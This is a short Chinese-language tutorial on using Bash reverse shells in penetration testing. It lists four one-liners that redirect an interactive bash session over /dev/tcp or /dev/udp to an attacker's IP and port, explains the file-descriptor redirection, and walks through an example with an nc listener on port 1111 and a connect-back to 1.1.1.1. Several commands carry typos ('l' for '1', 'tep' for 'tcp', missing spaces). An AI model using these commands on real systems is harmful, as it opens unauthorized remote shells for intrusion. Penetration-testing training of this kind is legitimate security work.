BASH反弹shell在渗透过程的使用方法


使用Bash命令反弹Shell的Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用Bash反弹Shell的命令如下:

bash-i>&/dev/tcp/攻击机ip/攻击机端口0>&l

bash-i>&/dev/tcp/攻击机ip/攻击机端口0>&2

bash-i>&/dev/udp/攻击机ip/攻击机端口0>&l

bash-i>&/dev/udp/攻击机ip/攻击机端口0>&2


“bash-i”是指打开一个交互式的Shell。“&”符号用于区分文件和文件描述符,“>&”符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,“&”符号后面跟数字时表示后面的数字是文件描述符,不加“&”符号则会把后面的数字当成文件。数字“0”“1”“2”是LinuxShell下的文件描述符,“0”是指标准输入重定向,“1”是指标准输出重定向,“2”是指错误输出重定向。“/dev”目录下“tcp”和“udp”是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。“>&/dev/tep/攻击机_ip/攻击机端口”则表示将标准输出和标准错误输出重定向到“/dev/tcp/攻击机_ip/攻击机端口”文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。“0&l”或“0>&2”又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出。


下面介绍一个使用Bash反弹Shell的实例,在攻击机运行命令“nc -lvvp 1111”监听1111-#nc -lvvp 1111监听1111端口,在靶机运行命令“bash-i>&/dev/tcp/1.1.1.1/1111 0>&l”反弹Shell反弹Shell成功后即可在攻击机运行命令,nc -lvvp 1111。

分享: